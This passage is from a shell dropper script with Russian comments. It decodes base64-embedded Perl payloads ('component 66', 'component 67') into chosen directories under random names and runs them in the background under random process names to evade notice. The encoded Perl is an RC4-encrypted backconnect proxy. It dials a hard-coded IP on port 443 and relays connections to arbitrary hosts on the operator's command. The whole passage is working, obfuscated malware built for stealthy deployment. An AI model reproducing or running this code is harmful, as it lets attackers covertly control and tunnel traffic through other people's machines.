IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #66 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #66 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 67 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 